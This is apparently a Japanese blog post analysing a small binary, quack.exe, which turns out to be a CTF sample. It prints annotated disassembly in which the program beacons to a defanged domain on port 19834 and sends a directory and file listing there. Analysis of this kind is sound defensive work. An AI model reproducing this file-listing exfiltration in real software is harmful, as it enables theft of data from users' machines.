謎のファイルquack.exeを解析してみました。このファイルは2020-02-01 22:50:07にVirustotalにアップロードされました。
MD5ハッシュ値はb4ee6b087317fb52df3b2656c9c2b760
※解析はFLARE VM上で行いました。
※逆アセンブル内の変数名や関数名は一部解析に当たり、わかりやすいようにデフォルトのものから変更しています。
ざっとファイルを眺めてみたところ以下のような挙動をするんじゃないかと推測
- ドメイン名 nmdfthufjskdnbfwhejklacms[.]xyz と通信する
- ディレクトリやファイルの一覧を送信する
- "I Say Quack" というメッセージボックスを生成する
ファイルを実行したところドメイン nmdfthufjskdnbfwhejklacms[.]xyzを名前解決した後、TCP ポート19834宛に通信することを確認。
この通信は必ずペイロードが0x40から始まっており、なんらかのビーコンのように見受けられる。
quack_:00401077 68 31 13 40 00 push offset name ; "nmdfthufjskdnbfwhejklacms.xyz"
quack_:0040107C 68 01 16 40 00 push (offset FindFileData+13Eh) ; lpWSAData
quack_:00401081 68 02 02 00 00 push 202h ; wVersionRequested
quack_:00401086 FF 15 74 21 40 00 call ds:WSAStartup
quack_:0040108C FF 15 70 21 40 00 call ds:gethostbyname
---
quack_:0040109A 8B 40 0C mov eax, [eax+0Ch]
quack_:0040109D 8B 00 mov eax, [eax]
quack_:0040109F 8B 00 mov eax, [eax]
quack_:004010A1 A3 08 10 40 00 mov dword ptr port_19834.sa_data+2, eax
---
quack_:004010CD E8 88 02 00 00 call createSocketNconnect_40135A
quack_:004010D2 0F B6 0D C3 13 40 00 movzx ecx, byte_4013C3
quack_:004010D9 83 C1 02 add ecx, 2
quack_:004010DC C6 05 C2 13 40 00 40 mov buf, 40h ; @
quack_:004010E3 6A 00 push 0 ; flags
quack_:004010E5 51 push ecx ; len
quack_:004010E6 68 C2 13 40 00 push offset buf ; buf
quack_:004010EB FF 35 00 10 40 00 push s ; s
quack_:004010F1 FF 15 80 21 40 00 call ds:send
quack_:004010F7 BF 91 17 40 00 mov edi, offset byte_401791
quack_:004010FC 0F B6 0D C3 13 40 00 movzx ecx, byte_4013C3 ; len
quack_:00401103 E8 77 02 00 00 call recv_40137F
quack_:00401108 83 EC 14 sub esp, 14h
quack_:0040110B FF 15 88 21 40 00 call ds:closesocket
しかし、パケットキャプチャーを眺めてみたところ、ディレクトリやファイルの一覧を送信している様子がない。
もう一度、コードを眺めてみると、FindFirstFileAの引数にアスタリスクが渡されている。Microsoftのドキュメントによると引数にワイルドカードが指定された場合、ユーザーはルートおよびすべてのサブディレクトリのアクセス権限を持っていないとダメらしい。
quack_:0040112E C7 44 24 F8 75 10 40 00 mov [esp+lpFileName], offset FileName ; "*"
quack_:00401136 68 C3 14 40 00 push offset FindFileData ; lpFindFileData
quack_:0040113B 83 EC 04 sub esp, 4
quack_:0040113E FF 15 A4 20 40 00 call ds:FindFirstFileA
quack_:00401144 40 inc eax
quack_:00401145 0F 84 B5 01 00 00 jz exit_401300
---
quack_:0040114B 48 dec eax
quack_:0040114C 89 44 24 F8 mov [esp+lpFileName], eax ; hFindFile
quack_:00401150 BB 00 00 00 00 mov ebx, 0
---
quack_:00401155 loc_401155:
quack_:00401155 43 inc ebx
quack_:00401156 83 EC 08 sub esp, 8
quack_:00401159 FF 15 A8 20 40 00 call ds:FindNextFileA
quack_:0040115F 85 C0 test eax, eax
quack_:00401161 75 F2 jnz short loc_401155
---
quack_:00401163 E8 F2 01 00 00 call createSocketNconnect_40135A
quack_:00401168 C6 05 C2 13 40 00 4C mov buf, 4Ch ; L
quack_:0040116F 88 1D C3 13 40 00 mov byte_4013C3, bl
quack_:00401175 A1 00 10 40 00 mov eax, s
quack_:0040117A 89 44 24 F0 mov [esp+s], eax ; s
quack_:0040117E C7 44 24 F4 C2 13 40 00 mov [esp+buf], offset buf ; buf
quack_:00401186 68 00 00 00 00 push 0 ; flags
quack_:0040118B 68 02 00 00 00 push 2 ; len
quack_:00401190 83 EC 08 sub esp, 8
quack_:00401193 FF 15 80 21 40 00 call ds:send
quack_:00401199 C7 44 24 F8 75 10 40 00 mov [esp+lpFileName], offset FileName ; "*"
quack_:004011A1 68 C3 14 40 00 push offset FindFileData ; lpFindFileData
quack_:004011A6 83 EC 04 sub esp, 4
quack_:004011A9 FF 15 A4 20 40 00 call ds:FindFirstFileA
quack_:004011AF 40 inc eax
quack_:004011B0 0F 84 4A 01 00 00 jz exit_401300
ファイルを管理者権限で実行したところ、ちゃんとディレクトリやファイルの一覧を送信していた。
ここまで解析して、ひとまずquack.exeはインストール先のディレクトリやファイル一覧をnmdfthufjskdnbfwhejklacms[.]xyz:19834に送信するInfostealerっぽいと判断。
で、ドメイン名 nmdfthufjskdnbfwhejklacms[.]xyzをググってみたところ、なんとquack.exeはCTF用のバイナリファイルであることが判明しました。:(
以上。